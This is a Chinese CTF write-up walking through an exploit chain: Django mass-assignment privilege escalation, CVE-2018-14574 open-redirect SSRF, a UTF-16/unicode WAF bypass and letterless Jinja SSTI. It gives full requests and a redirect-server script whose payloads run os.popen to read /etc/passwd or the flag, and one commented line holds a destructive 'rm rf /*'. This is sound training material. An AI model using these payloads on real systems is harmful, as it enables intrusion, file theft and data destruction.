源码审计，预期是 成为Django-admin -> 利用CVE-2018-14574 造成SSRF打flask_rpc -> UTF16或者unicode绕过 {{限制 -> 无字母SSTI由于写的太急了忘记限制symbols为一个字符，非预期是直接利用symbols绕过
#### 预期#### 成为admin```pythondef reg(request):    if request.method == "GET":        return render(request, "templates/reg.html")    elif request.method == "POST":        try:            data = json.loads(request.body)        except ValueError:            return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})
        if len(User.objects.filter(username=data["username"])) != 0:            return JsonResponse({"code": 1})        User.objects.create_user(**data)        return JsonResponse({"code": 0})```可以看到把json对象全部传入了create_user，这是python的一个语法，会把字典元素变为键值对作为函数参数，本意是方便开发比如{"username":"admin", "password":"123456"} 即是 User.objects.create_user(username="admin",password="123456")所以我们可以传入恶意键值对，在注册的时候直接变为admin，查阅文档或者翻下django项目的数据库找到对应列名{"username":"admin","password":"123456","is_staff":1,"is_superuser":1}即可成为admin
```POST /reg/ HTTP/1.1Host: 192.168.15.133:8000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Content-Length: 70Origin: http://192.168.15.133:8000Connection: closeReferer: http://192.168.15.133:8000/reg/
{"username":"admin","password":"123456","is_staff":1,"is_superuser":1}```然后登入admin后台，获取token#### CVE-2018-14574Django < 2.0.8 存在任意URL跳转漏洞，我们可以通过这个来SSRF由于path采用了re_path，我们只需要传入http://39.104.19.182//8.8.8.8/login即可跳转到任意url的login路由```POST /home/ HTTP/1.1Host: 192.168.15.133:8000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=C1JAgkBIk8uqH9XF2CHBlsWDSPfOwNZHmj7RfnqqEdH1pqtPSvuNgxGNdodpZGta; sessionid=e8gd9dipyijy3t96hn5jujv1d0o90r0oUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 100
{"token":"xxxxxxxxxxxxxxxxxxxxxx","url":"http://39.104.19.182//8.8.8.8/login"}```由于python request库会自动跟随302然后我们在自己的vps上搭一个服务，继续跳转到本地127.0.0.1:8000/flask_rpc就可以SSRF访问flask_rpc开始打flask
#### UTF16 && unicode```python@app.before_requestdef before_request():    data = str(request.data)    log()    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:        abort(401)```flask做了一个简单的waf，不允许ssti的关键字符，需要bypass此处有两个办法```python@app.route('/caculator', methods=["POST"])def caculator():    try:        data = request.get_json()```但是flask获取参数的方式又是get_json方法，我们跟入一下```python    def get_json(self, force=False, silent=False, cache=True):        """Parse :attr:`data` as JSON.
        If the mimetype does not indicate JSON        (:mimetype:`application/json`, see :meth:`is_json`), this        returns ``None``.
        If parsing fails, :meth:`on_json_loading_failed` is called and        its return value is used as the return value.
        :param force: Ignore the mimetype and always try to parse JSON.        :param silent: Silence parsing errors and return ``None``            instead.        :param cache: Store the parsed JSON to return for subsequent            calls.        """        if cache and self._cached_json[silent] is not Ellipsis:            return self._cached_json[silent]
        if not (force or self.is_json):            return None
        data = self._get_data_for_json(cache=cache)
        try:            rv = self.json_module.loads(data)        except ValueError as e:            if silent:                rv = None
                if cache:                    normal_rv, _ = self._cached_json                    self._cached_json = (normal_rv, rv)            else:                rv = self.on_json_loading_failed(e)
                if cache:                    _, silent_rv = self._cached_json                    self._cached_json = (rv, silent_rv)        else:            if cache:                self._cached_json = (rv, rv)
        return rv```看到`rv = self.json_module.loads(data)`继续跟入```python    @staticmethod    def loads(s, **kw):        if isinstance(s, bytes):            # Needed for Python < 3.6            encoding = detect_utf_encoding(s)            s = s.decode(encoding)
        return _json.loads(s, **kw)``````pythondef detect_utf_encoding(data):    """Detect which UTF encoding was used to encode the given bytes.
    The latest JSON standard (:rfc:`8259`) suggests that only UTF-8 is    accepted. Older documents allowed 8, 16, or 32. 16 and 32 can be big    or little endian. Some editors or libraries may prepend a BOM.
    :internal:
    :param data: Bytes in unknown UTF encoding.    :return: UTF encoding name
    .. versionadded:: 0.15    """    head = data[:4]
    if head[:3] == codecs.BOM_UTF8:        return "utf-8-sig"
    if b"\x00" not in head:        return "utf-8"
    if head in (codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE):        return "utf-32"
    if head[:2] in (codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE):        return "utf-16"
    if len(head) == 4:        if head[:3] == b"\x00\x00\x00":            return "utf-32-be"
        if head[::2] == b"\x00\x00":            return "utf-16-be"
        if head[1:] == b"\x00\x00\x00":            return "utf-32-le"
        if head[1::2] == b"\x00\x00":            return "utf-16-le"
    if len(head) == 2:        return "utf-16-be" if head.startswith(b"\x00") else "utf-16-le"
    return "utf-8"```可以看到flask的get_json方法会通过传入的body自动判断编码然后解码，这就与之前的waf存在一个差异我们可以把exp进行UTF16编码然后bypass waf另一个办法就是\u unicode字符进行绕过#### bypass字母好了{{我们已经可以bypass了，但是num还限制了不能有字母，这个怎么办python里面，我们可以通过 '\123'来表示一个字符，我们就可以通过这个来bypass字母的限制这个对应关系并不遵守Ascii，所以我们可以先遍历存入字典```pythonexp = "request"dicc = []exploit = ""for i in range(256):    eval("dicc.append('{}')".format("\\"+str(i)))for i in exp:    exploit += "\\\\"+ str(dicc.index(i))
print(exploit)```用这个脚本转换一下常规的SSTI
```pythondata = r'''{"num1":"{{()['\\137\\137\\143\\154\\141\\163\\163\\137\\137']['\\137\\137\\142\\141\\163\\145\\163\\137\\137'][0]['\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137']()[155]['\\137\\137\\151\\156\\151\\164\\137\\137']['\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137']['\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137']['\\145\\166\\141\\154']('\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\50\\47\\157\\163\\47\\51\\56\\160\\157\\160\\145\\156\\50\\47\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\47\\51\\56\\162\\145\\141\\144\\50\\51')}}","num2":1,"symbols":"+"}'''
print(data.encode("utf-16"))
```把两个脚本结合一下```pythonfrom flask import Flask, request, render_template_string,redirectimport reimport jsonimport string,randomimport base64app = Flask(__name__)from urllib.parse import quote
#exp = "__import__('os').popen('rm rf /*').read()"#exp = "__import__('os').popen('cat /flag').read()"exp = "__import__('os').popen('/readflag').read()"dicc = []exploit = ""for i in range(256):    eval("dicc.append('{}')".format("\\"+str(i)))for i in exp:    exploit += "\\\\"+ str(dicc.index(i))
@app.route('/login/')def index():    # data = r'''{"num1":"{{()['\\137\\137\\143\\154\\141\\163\\163\\137\\137']['\\137\\137\\142\\141\\163\\145\\163\\137\\137'][0]['\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137']()[155]['\\137\\137\\151\\156\\151\\164\\137\\137']['\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137']['\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137']['\\145\\166\\141\\154']('\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\50\\47\\157\\163\\47\\51\\56\\160\\157\\160\\145\\156\\50\\47\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\47\\51\\56\\162\\145\\141\\144\\50\\51')}}","num2":1,"symbols":"+"}'''.encode("utf16")    data = (r'''{"num1":"{{()['\\137\\137\\143\\154\\141\\163\\163\\137\\137']['\\137\\137\\142\\141\\163\\145\\163\\137\\137'][0]['\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137']()[64]['\\137\\137\\151\\156\\151\\164\\137\\137']['\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137']['\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137']['\\145\\166\\141\\154']('%s')}}","num2":1,"symbols":"+"}''' % exploit).encode("utf16")
    data = quote(base64.b64encode(data))    return redirect("http://127.0.0.1:8000/rpc/?methods=POST&url=http%3a//127.0.0.1%3a5000/caculator&mime=application/json&data="+data)
if __name__ == '__main__':    app.run(host="0.0.0.0",port=5000,debug=True)
```vps上搭好后，向home路由请求一下自己的vps即可看到flag